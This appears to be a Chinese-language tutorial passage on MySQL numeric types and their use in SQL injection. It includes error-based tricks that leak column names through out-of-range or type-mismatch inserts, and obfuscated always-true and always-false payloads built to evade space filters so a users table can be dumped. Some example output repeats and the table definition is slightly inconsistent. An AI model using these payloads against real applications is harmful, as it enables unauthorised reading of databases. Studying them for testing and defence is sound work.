1.数值类型

1.数值类型分类 整数类型:tinyint,smallint,mediumint,int,bigint 浮点数类型:float,double,decimal#### 2.数值越界报错与注入应用 Create table testa(uid tinyint,uid2 smallint,uid3 mediumint,uid4 int,uid5 bigint,salary1 float(7,2),salary2 decimal(7,2),salary2 double);

正常插入数据: Insert into testa values(12,123, 1234, 1234567890, 1234567890, 1234,1234.56,12345.67);

注入型插入数据: Insert into testa values(1234567890, 1234567890, 1234567890, 1234567890, 1234567890, 1234,1234567890.56,1234567890.67);

取值范围报错,目标是得到字段名: Show warnings;

mysql> show warnings; +————-+———+—————————————————————————+ | Level | Code | Message | +————-+———+—————————————————————————+ | Warning | 1264 | Out of range value for column ‘salary’ at row 1 | | Warning | 1264 | Out of range value for column ‘salary2’ at row 1 | +————-+———+—————————————————————————+ 2 rows in set (0.00 sec)#### 3.类型转换报错与注入应用 注入型插入数据: 已经知道uid1,uid2为数值,故意输入字符串类型,以测试程序的处理方式。 Insert into testa(uid1,uid2) values(‘huangxifeng’,’huangxifeng’);

类型报错,目标是得到字段名: Show warnings;

mysql> show warnings; +————-+———+—————————————————————————+ | Level | Code | Message | +————-+———+—————————————————————————+ | Warning | 1264 | Out of range value for column ‘salary’ at row 1 | | Warning | 1264 | Out of range value for column ‘salary2’ at row 1 | +————-+———+—————————————————————————+ 2 rows in set (0.00 sec)#### 4.数值类型与空集、全集逻辑 1.简单组合全集逻辑: or —+2=- -!!!2 Or 1=1 2.简单组合空集逻辑 and !!!2=~2 and 1=2

使用—!!!的目标是规避空格的检查,甚至可替换为空格占位

正常传参逻辑: $sql=”Select from users where uname=$uid” 正常传参:10003 结果:$sql=”Select from users where uname=’10003’“

注入传参:10003 or —+2=- -!!!2 结果:$sql=”Select * from users where uname=10003 or —+2=- -!!!2” 查询表全部数据